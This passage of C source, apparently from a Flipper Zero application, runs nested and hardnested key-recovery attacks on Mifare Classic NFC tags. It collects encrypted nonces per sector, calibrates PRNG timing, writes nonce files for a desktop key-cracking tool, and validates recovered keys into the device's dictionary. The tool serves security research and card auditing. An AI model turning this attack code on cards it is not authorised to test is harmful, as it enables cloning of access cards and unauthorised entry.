  656. free(nonces);
  657. return;
  658. }
  659. FURI_LOG_I(
  660. TAG, "Using %c key for block %lu: %06llX", !found_key_type ? 'A' : 'B', key_block, key);
  661. FuriHalNfcTxRxContext tx_rx = {};
  662. nonces->tries = 1;
  663. nonces->hardnested_states = 0;
  664. nonces->sector_count = sector_count;
  665. mifare_nested_worker->context->nonces = nonces;
  666. mifare_nested_worker->callback(MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  667. mifare_nested_worker->callback(
  668. MifareNestedWorkerEventHardnestedStatesFound, mifare_nested_worker->context);
  669. for(uint8_t sector = 0;
  670. sector < sector_count && mifare_nested_worker->state == MifareNestedWorkerStateCollecting;
  671. sector++) {
  672. for(uint8_t key_type = 0;
  673. key_type < 2 && mifare_nested_worker->state == MifareNestedWorkerStateCollecting;
  674. key_type++) {
  675. Nonces* info = nonces->nonces[sector][key_type][0];
  676. if(info->collected) {
  677. FURI_LOG_I(
  678. TAG,
  679. "Skipping sector %u, block %u, key_type: %u as we already have a key",
  680. sector,
  681. mifare_nested_worker_get_block_by_sector(sector),
  682. key_type);
  683. info->skipped = true;
  684. nonces->nonces[sector][key_type][0] = info;
  685. mifare_nested_worker->context->nonces = nonces;
  686. mifare_nested_worker->callback(
  687. MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  688. continue;
  689. }
  690. Stream* file_stream = buffered_file_stream_alloc(storage);
  691. FuriString* hardnested_file = furi_string_alloc();
  692. mifare_nested_worker_get_hardnested_file_path(
  693. &data, hardnested_file, sector, key_type);
  694. buffered_file_stream_open(
  695. file_stream,
  696. furi_string_get_cstr(hardnested_file),
  697. FSAM_READ_WRITE,
  698. FSOM_CREATE_ALWAYS);
  699. FuriString* cuid = furi_string_alloc_printf("CUID: ");
  700. mifare_nested_worker_write_uid_string(&data, cuid);
  701. FuriString* header = furi_string_alloc_printf(
  702. "Filetype: Flipper Nested Nonces File\nVersion: %s\nNote: you will need desktop app to recover keys: %s\n%s\n",
  703. NESTED_NONCE_FORMAT_VERSION,
  704. NESTED_RECOVER_KEYS_GITHUB_LINK,
  705. furi_string_get_cstr(cuid));
  706. stream_write_string(file_stream, header);
  707. furi_string_free(header);
  708. furi_string_free(cuid);
  709. while(!info->collected &&
  710. mifare_nested_worker->state == MifareNestedWorkerStateCollecting) {
  711. uint32_t* found = malloc(sizeof(uint32_t) * 256);
  712. for(uint32_t i = 0; i < 256; i++) {
  713. found[i] = 0;
  714. }
  715. while(mifare_nested_worker->state == MifareNestedWorkerStateCollecting) {
  716. struct nonce_info_hard result = hard_nested_collect_nonces(
  717. &tx_rx,
  718. key_block,
  719. found_key_type,
  720. mifare_nested_worker_get_block_by_sector(sector),
  721. key_type,
  722. key,
  723. found,
  724. file_stream);
  725. if(result.static_encrypted) {
  726. // TODO: Delete file?
  727. buffered_file_stream_close(file_stream);
  728. free(found);
  729. free(mf_data);
  730. nfc_deactivate();
  731. mifare_nested_worker->callback(
  732. MifareNestedWorkerEventStaticEncryptedNonce,
  733. mifare_nested_worker->context);
  734. return;
  735. }
  736. if(result.full) {
  737. uint32_t states = 0;
  738. for(uint32_t i = 0; i < 256; i++) {
  739. states += found[i];
  740. }
  741. mifare_nested_worker->context->nonces->hardnested_states = states;
  742. mifare_nested_worker->callback(
  743. MifareNestedWorkerEventHardnestedStatesFound,
  744. mifare_nested_worker->context);
  745. FURI_LOG_D(TAG, "Found states: %lu", states);
  746. if(states == 256) {
  747. info->collected = true;
  748. info->hardnested = true;
  749. nonces->cuid = result.cuid;
  750. nonces->nonces[sector][key_type][0] = info;
  751. mifare_nested_worker->context->nonces = nonces;
  752. mifare_nested_worker->callback(
  753. MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  754. break;
  755. }
  756. } else {
  757. mifare_nested_worker->callback(
  758. MifareNestedWorkerEventNoTagDetected, mifare_nested_worker->context);
  759. }
  760. }
  761. free(found);
  762. }
  763. buffered_file_stream_close(file_stream);
  764. }
  765. }
  766. free(mf_data);
  767. mifare_nested_worker_write_nonces(&data, storage, nonces, 1, sector_count, 0, 0);
  768. mifare_nested_worker->callback(
  769. MifareNestedWorkerEventNoncesCollected, mifare_nested_worker->context);
  770. nfc_deactivate();
  771. }
  772. void mifare_nested_worker_collect_nonces(MifareNestedWorker* mifare_nested_worker) {
  773. NonceList_t* nonces = malloc(sizeof(NonceList_t));
  774. Storage* storage = furi_record_open(RECORD_STORAGE);
  775. NfcDevice* dev = mifare_nested_worker->context->nfc_dev;
  776. MfClassicData* mf_data = &dev->dev_data.mf_classic_data;
  777. FuriString* folder_path = furi_string_alloc();
  778. FuriHalNfcDevData data = {};
  779. nested_get_data(&data);
  780. MfClassicType type = mifare_nested_worker_get_tag_type(data.atqa[0], data.atqa[1], data.sak);
  781. uint64_t key = 0; // Found key for attack
  782. uint32_t found_key_type = 0;
  783. uint32_t key_block = 0;
  784. uint32_t sector_count = 0;
  785. uint32_t delay = 0;
  786. uint32_t distance = 0;
  787. uint32_t tries_count = 1;
  788. FURI_LOG_I(TAG, "Running nested attack");
  789. FuriString* tag_info = furi_string_alloc_printf("Tag UID: ");
  790. mifare_nested_worker_write_uid_string(&data, tag_info);
  791. FURI_LOG_I(TAG, "%s", furi_string_get_cstr(tag_info));
  792. furi_string_free(tag_info);
  793. if(type == MfClassicType4k) {
  794. sector_count = 40;
  795. FURI_LOG_I(TAG, "Found Mifare Classic 4K tag");
  796. } else if(type == MfClassicType1k) {
  797. sector_count = 16;
  798. FURI_LOG_I(TAG, "Found Mifare Classic 1K tag");
  799. } else if(type == MfClassicTypeMini) {
  800. sector_count = 5;
  801. FURI_LOG_I(TAG, "Found Mifare Classic Mini tag");
  802. }
  803. furi_string_set(folder_path, NESTED_FOLDER);
  804. storage_common_mkdir(storage, furi_string_get_cstr(folder_path));
  805. furi_string_free(folder_path);
  806. if(!mifare_nested_worker_read_key_cache(&data, mf_data)) {
  807. mifare_nested_worker->callback(
  808. MifareNestedWorkerEventNeedKey, mifare_nested_worker->context);
  809. nfc_deactivate();
  810. free(mf_data);
  811. free(nonces);
  812. return;
  813. }
  814. if(!mifare_nested_worker_check_initial_keys(
  815. nonces, mf_data, 3, sector_count, &key, &key_block, &found_key_type)) {
  816. mifare_nested_worker->callback(
  817. MifareNestedWorkerEventNeedKey, mifare_nested_worker->context);
  818. nfc_deactivate();
  819. free(mf_data);
  820. free(nonces);
  821. return;
  822. }
  823. FURI_LOG_I(
  824. TAG, "Using %c key for block %lu: %06llX", !found_key_type ? 'A' : 'B', key_block, key);
  825. while(mifare_nested_worker->state == MifareNestedWorkerStateCollecting) {
  826. FuriHalNfcTxRxContext tx_rx = {};
  827. uint32_t first_distance = 0;
  828. uint32_t second_distance = 0;
  829. mifare_nested_worker->callback(
  830. MifareNestedWorkerEventCalibrating, mifare_nested_worker->context);
  831. distance = nested_calibrate_distance(&tx_rx, key_block, found_key_type, key, delay, false);
  832. if(mifare_nested_worker->state == MifareNestedWorkerStateCollecting) {
  833. first_distance =
  834. nested_calibrate_distance(&tx_rx, key_block, found_key_type, key, delay, true);
  835. }
  836. if(mifare_nested_worker->state == MifareNestedWorkerStateCollecting) {
  837. second_distance =
  838. nested_calibrate_distance(&tx_rx, key_block, found_key_type, key, 10000, true);
  839. }
  840. if(first_distance == 0 && second_distance == 0) {
  841. nfc_deactivate();
  842. free(mf_data);
  843. free(nonces);
  844. mifare_nested_worker_collect_nonces_hard(mifare_nested_worker);
  845. return;
  846. }
  847. if(first_distance < second_distance - 100 && second_distance > 100) {
  848. FURI_LOG_E(
  849. TAG,
  850. "Discovered tag with PRNG that depends on time. PRNG values: %lu, %lu",
  851. first_distance,
  852. second_distance);
  853. struct distance_info info =
  854. nested_calibrate_distance_info(&tx_rx, key_block, found_key_type, key);
  855. if(info.max_prng - info.min_prng > 150) {
  856. FURI_LOG_W(
  857. TAG,
  858. "PRNG is too unpredictable (min/max values more than 150: %lu - %lu = %lu), fallback to delay method",
  859. info.max_prng,
  860. info.min_prng,
  861. info.max_prng - info.min_prng);
  862. delay = 1;
  863. } else {
  864. FURI_LOG_I(
  865. TAG,
  866. "PRNG is stable, using method without delay! (May be false positive, still will collect x3 times)");
  867. distance =
  868. nested_calibrate_distance(&tx_rx, key_block, found_key_type, key, delay, true);
  869. delay = 2;
  870. tries_count = 3;
  871. }
  872. }
  873. if(distance == 0 || delay == 1) {
  874. bool failed = false;
  875. // Tag need delay or unpredictable PRNG
  876. FURI_LOG_W(TAG, "Can't determine distance, trying to find timing...");
  877. mifare_nested_worker->callback(
  878. MifareNestedWorkerEventNeedPrediction, mifare_nested_worker->context);
  879. delay = mifare_nested_worker_predict_delay(
  880. &tx_rx, key_block, found_key_type, key, 0, mifare_nested_worker);
  881. if(delay == 1) {
  882. FURI_LOG_E(TAG, "Can't determine delay");
  883. // Check that we didn't lost tag
  884. FuriHalNfcDevData lost_tag_data = {};
  885. nested_get_data(&lost_tag_data);
  886. if(lost_tag_data.uid_len == 0) {
  887. // We lost it.
  888. mifare_nested_worker->callback(
  889. MifareNestedWorkerEventNoTagDetected, mifare_nested_worker->context);
  890. while(mifare_nested_worker->state == MifareNestedWorkerStateCollecting &&
  891. lost_tag_data.cuid != data.cuid) {
  892. furi_delay_ms(250);
  893. nested_get_data(&lost_tag_data);
  894. }
  895. mifare_nested_worker->callback(
  896. MifareNestedWorkerEventCalibrating, mifare_nested_worker->context);
  897. continue;
  898. }
  899. failed = true;
  900. }
  901. if(delay == 2) {
  902. FURI_LOG_E(TAG, "Can't determine delay in 10 tries, fallback to hardnested");
  903. nfc_deactivate();
  904. free(mf_data);
  905. free(nonces);
  906. mifare_nested_worker_collect_nonces_hard(mifare_nested_worker);
  907. }
  908. if(mifare_nested_worker->state == MifareNestedWorkerStateCollecting && !failed) {
  909. distance = nested_calibrate_distance(
  910. &tx_rx, key_block, found_key_type, key, delay, false);
  911. }
  912. if(distance == 0 && !failed) {
  913. FURI_LOG_E(TAG, "Found delay, but can't find distance");
  914. mifare_nested_worker->callback(
  915. MifareNestedWorkerEventAttackFailed, mifare_nested_worker->context);
  916. failed = true;
  917. }
  918. if(failed) {
  919. nfc_deactivate();
  920. free(mf_data);
  921. free(nonces);
  922. return;
  923. }
  924. tries_count = 3;
  925. }
  926. mifare_nested_worker->context->nonces = nonces;
  927. mifare_nested_worker->callback(
  928. MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  929. for(uint8_t tries = 0; tries < tries_count; tries++) {
  930. for(uint8_t sector = 0; sector < sector_count; sector++) {
  931. for(uint8_t key_type = 0; key_type < 2; key_type++) {
  932. Nonces* info = nonces->nonces[sector][key_type][tries];
  933. if(info->collected) {
  934. FURI_LOG_I(
  935. TAG,
  936. "Skipping sector %u, block %u, key_type: %u as we already have a key",
  937. sector,
  938. mifare_nested_worker_get_block_by_sector(sector),
  939. key_type);
  940. info->skipped = true;
  941. nonces->nonces[sector][key_type][tries] = info;
  942. mifare_nested_worker->context->nonces = nonces;
  943. mifare_nested_worker->callback(
  944. MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  945. }
  946. while(!info->collected) {
  947. if(mifare_nested_worker->state != MifareNestedWorkerStateCollecting) {
  948. break;
  949. }
  950. struct nonce_info result = nested_attack(
  951. &tx_rx,
  952. key_block,
  953. found_key_type,
  954. mifare_nested_worker_get_block_by_sector(sector),
  955. key_type,
  956. key,
  957. distance,
  958. delay);
  959. if(result.full) {
  960. FURI_LOG_I(
  961. TAG,
  962. "Accured nonces for sector %u, block %u, key_type: %u",
  963. sector,
  964. mifare_nested_worker_get_block_by_sector(sector),
  965. key_type);
  966. info = nonces->nonces[sector][key_type][tries];
  967. info->collected = true;
  968. memcpy(&info->target_nt, result.target_nt, sizeof(result.target_nt));
  969. memcpy(&info->target_ks, result.target_ks, sizeof(result.target_ks));
  970. memcpy(&info->parity, result.parity, sizeof(result.parity));
  971. nonces->nonces[sector][key_type][tries] = info;
  972. nonces->cuid = result.cuid;
  973. nonces->sector_count = sector_count;
  974. nonces->tries = tries_count;
  975. mifare_nested_worker->context->nonces = nonces;
  976. mifare_nested_worker->callback(
  977. MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  978. break;
  979. } else {
  980. mifare_nested_worker->callback(
  981. MifareNestedWorkerEventNoTagDetected,
  982. mifare_nested_worker->context);
  983. }
  984. }
  985. }
  986. }
  987. }
  988. break;
  989. }
  990. mifare_nested_worker_write_nonces(
  991. &data, storage, nonces, tries_count, sector_count, delay, distance);
  992. free(mf_data);
  993. mifare_nested_worker->callback(
  994. MifareNestedWorkerEventNoncesCollected, mifare_nested_worker->context);
  995. nfc_deactivate();
  996. }
  997. bool* mifare_nested_worker_check_keys_exists(
  998. Storage* storage,
  999. char* path,
  1000. uint64_t* keys,
  1001. uint32_t key_count,
  1002. MifareNestedWorker* mifare_nested_worker) {
  1003. bool* old_keys = malloc(sizeof(bool) * key_count);
  1004. Stream* file_stream = buffered_file_stream_alloc(storage);
  1005. buffered_file_stream_open(file_stream, path, FSAM_READ, FSOM_OPEN_ALWAYS);
  1006. FuriString* key_strings[key_count];
  1007. for(uint32_t i = 0; i < key_count; i++) {
  1008. old_keys[i] = false;
  1009. key_strings[i] = furi_string_alloc_printf("%06llX\n", keys[i]);
  1010. }
  1011. while(mifare_nested_worker->state == MifareNestedWorkerStateValidating) {
  1012. FuriString* next_line = furi_string_alloc();
  1013. if(!stream_read_line(file_stream, next_line)) {
  1014. break;
  1015. }
  1016. for(uint32_t i = 0; i < key_count; i++) {
  1017. if(keys[i] == (uint64_t)-1) continue;
  1018. if(furi_string_cmp(next_line, key_strings[i]) == 0) {
  1019. old_keys[i] = true;
  1020. }
  1021. }
  1022. furi_string_free(next_line);
  1023. }
  1024. for(uint32_t i = 0; i < key_count; i++) {
  1025. furi_string_free(key_strings[i]);
  1026. }
  1027. buffered_file_stream_close(file_stream);
  1028. free(file_stream);
  1029. return old_keys;
  1030. }
  1031. void mifare_nested_worker_write_key(Storage* storage, FuriString* key) {
  1032. Stream* file_stream = buffered_file_stream_alloc(storage);
  1033. buffered_file_stream_open(
  1034. file_stream,
  1035. EXT_PATH("nfc/assets/mf_classic_dict_user.nfc"),
  1036. FSAM_READ_WRITE,
  1037. FSOM_OPEN_APPEND);
  1038. stream_write_string(file_stream, key);
  1039. buffered_file_stream_close(file_stream);
  1040. }
  1041. void mifare_nested_worker_check_keys(MifareNestedWorker* mifare_nested_worker) {
  1042. KeyInfo_t* key_info = mifare_nested_worker->context->keys;
  1043. Storage* storage = furi_record_open(RECORD_STORAGE);
  1044. Stream* file_stream = buffered_file_stream_alloc(storage);
  1045. FuriString* next_line = furi_string_alloc();
  1046. FuriString* path = furi_string_alloc();
  1047. FuriHalNfcDevData data = {};
  1048. nested_get_data(&data);
  1049. MfClassicType type = mifare_nested_worker_get_tag_type(data.atqa[0], data.atqa[1], data.sak);
  1050. NestedCheckKeyResult result = NestedCheckKeyNoTag;
  1051. FuriHalNfcTxRxContext tx_rx = {};
  1052. uint32_t key_count = 0;
  1053. uint32_t sector_key_count = 0;
  1054. uint64_t keys[80];
  1055. bool found_keys[2][40];
  1056. bool unique_keys[2][40];
  1057. uint32_t sector_count = 0;
  1058. if(type == MfClassicType4k) {
  1059. sector_count = 40;
  1060. FURI_LOG_I(TAG, "Found Mifare Classic 4K tag");
  1061. } else if(type == MfClassicType1k) {
  1062. sector_count = 16;
  1063. FURI_LOG_I(TAG, "Found Mifare Classic 1K tag");
  1064. } else if(type == MfClassicTypeMini) {
  1065. sector_count = 5;
  1066. FURI_LOG_I(TAG, "Found Mifare Classic Mini tag");
  1067. }
  1068. uint32_t keys_count = sector_count * 2;
  1069. for(uint8_t key = 0; key < 2; key++) {
  1070. for(uint8_t i = 0; i < sector_count; i++) {
  1071. found_keys[key][i] = false;
  1072. unique_keys[key][i] = false;
  1073. }
  1074. }
  1075. for(uint8_t i = 0; i < keys_count; i++) {
  1076. keys[i] = -1;
  1077. }
  1078. mifare_nested_worker_get_found_keys_file_path(&data, path);
  1079. if(!buffered_file_stream_open(
  1080. file_stream, furi_string_get_cstr(path), FSAM_READ, FSOM_OPEN_EXISTING)) {
  1081. FURI_LOG_E(TAG, "Can't open %s", furi_string_get_cstr(path));
  1082. buffered_file_stream_close(file_stream);
  1083. mifare_nested_worker_get_nonces_file_path(&data, path);
  1084. if(!buffered_file_stream_open(
  1085. file_stream, furi_string_get_cstr(path), FSAM_READ, FSOM_OPEN_EXISTING)) {
  1086. mifare_nested_worker->callback(
  1087. MifareNestedWorkerEventNeedCollection, mifare_nested_worker->context);
  1088. } else {
  1089. mifare_nested_worker->callback(
  1090. MifareNestedWorkerEventNeedKeyRecovery, mifare_nested_worker->context);
  1091. }
  1092. buffered_file_stream_close(file_stream);
  1093. free(file_stream);
  1094. furi_string_free(path);
  1095. furi_string_free(next_line);
  1096. furi_record_close(RECORD_STORAGE);
  1097. return;
  1098. };
  1099. while(true) {
  1100. if(!stream_read_line(file_stream, next_line)) {
  1101. break;
  1102. }
  1103. if(furi_string_start_with_str(next_line, "Key")) {
  1104. uint8_t key_type = furi_string_get_char(next_line, 4) == 'B';
  1105. uint8_t sector = atoi((char[]){furi_string_get_char(next_line, 13)}) * 10 +
  1106. atoi((char[]){furi_string_get_char(next_line, 14)});
  1107. if(!unique_keys[key_type][sector]) {
  1108. unique_keys[key_type][sector] = true;
  1109. sector_key_count++;
  1110. }
  1111. }
  1112. key_count++;
  1113. }
  1114. stream_rewind(file_stream);
  1115. key_info->total_keys = key_count;
  1116. key_info->sector_keys = sector_key_count;
  1117. while(mifare_nested_worker->state == MifareNestedWorkerStateValidating) {
  1118. if(!stream_read_line(file_stream, next_line)) {
  1119. break;
  1120. }
  1121. if(furi_string_start_with_str(next_line, "Key")) {
  1122. // Key X sector XX: XX XX XX XX XX XX
  1123. // 0000000000111111111122222222223333
  1124. // 0123456789012345678901234567890123
  1125. uint8_t keyChar[6];
  1126. uint8_t count = 0;
  1127. uint8_t key_type = furi_string_get_char(next_line, 4) == 'B';
  1128. uint8_t sector = atoi((char[]){furi_string_get_char(next_line, 13)}) * 10 +
  1129. atoi((char[]){furi_string_get_char(next_line, 14)});
  1130. for(uint8_t i = 17; i < 33; i += 3) {
  1131. hex_char_to_uint8(
  1132. furi_string_get_char(next_line, i),
  1133. furi_string_get_char(next_line, i + 1),
  1134. &keyChar[count]);
  1135. count++;
  1136. }
  1137. uint64_t key = nfc_util_bytes2num(keyChar, 6);
  1138. key_info->checked_keys++;
  1139. if(found_keys[key_type][sector]) {
  1140. mifare_nested_worker->callback(
  1141. MifareNestedWorkerEventKeyChecked, mifare_nested_worker->context);
  1142. continue;
  1143. }
  1144. while(mifare_nested_worker->state == MifareNestedWorkerStateValidating) {
  1145. result = nested_check_key(
  1146. &tx_rx, mifare_nested_worker_get_block_by_sector(sector), key_type, key);
  1147. if(result == NestedCheckKeyNoTag) {
  1148. mifare_nested_worker->callback(
  1149. MifareNestedWorkerEventNoTagDetected, mifare_nested_worker->context);
  1150. furi_delay_ms(250);
  1151. } else {
  1152. break;
  1153. }
  1154. }
  1155. if(result == NestedCheckKeyValid) {
  1156. FURI_LOG_I(TAG, "Found valid %c key for sector %u: %06llX", key_type, sector, key);
  1157. bool exists = false;
  1158. for(uint8_t i = 0; i < keys_count; i++) {
  1159. if(keys[i] == key) {
  1160. exists = true;
  1161. }
  1162. }
  1163. if(!exists) {
  1164. keys[key_info->found_keys] = key;
  1165. }
  1166. key_info->found_keys++;
  1167. found_keys[key_type][sector] = true;
  1168. }
  1169. mifare_nested_worker->callback(
  1170. MifareNestedWorkerEventKeyChecked, mifare_nested_worker->context);
  1171. }
  1172. }
  1173. furi_string_free(next_line);
  1174. buffered_file_stream_close(file_stream);
  1175. free(file_stream);
  1176. mifare_nested_worker->callback(
  1177. MifareNestedWorkerEventProcessingKeys, mifare_nested_worker->context);
  1178. bool* old_keys = mifare_nested_worker_check_keys_exists(
  1179. storage,
  1180. EXT_PATH("nfc/assets/mf_classic_dict_user.nfc"),
  1181. keys,
  1182. keys_count,
  1183. mifare_nested_worker);
  1184. for(uint8_t i = 0; i < keys_count; i++) {
  1185. if(old_keys[i]) {
  1186. keys[i] = -1;
  1187. }
  1188. }
  1189. old_keys = mifare_nested_worker_check_keys_exists(
  1190. storage,
  1191. EXT_PATH("nfc/assets/mf_classic_dict.nfc"),
  1192. keys,
  1193. keys_count,
  1194. mifare_nested_worker);
  1195. for(uint8_t i = 0; i < keys_count; i++) {
  1196. if(old_keys[i]) {
  1197. keys[i] = -1;
  1198. }
  1199. }
  1200. for(uint8_t i = 0; i < keys_count; i++) {
  1201. if(keys[i] == (uint64_t)-1) continue;
  1202. FuriString* key_string = furi_string_alloc_printf("%06llX\n", keys[i]);
  1203. mifare_nested_worker_write_key(storage, key_string);
  1204. FURI_LOG_I(TAG, "Added new key: %s", furi_string_get_cstr(key_string));
  1205. key_info->added_keys++;
  1206. furi_string_free(key_string);
  1207. }
  1208. if(!storage_simply_remove(storage, furi_string_get_cstr(path))) {
  1209. FURI_LOG_E(TAG, "Failed to remove .keys file");
  1210. }
  1211. furi_record_close(RECORD_STORAGE);
  1212. furi_string_free(path);
  1213. mifare_nested_worker->callback(
  1214. MifareNestedWorkerEventKeysFound, mifare_nested_worker->context);
  1215. return;
  1216. }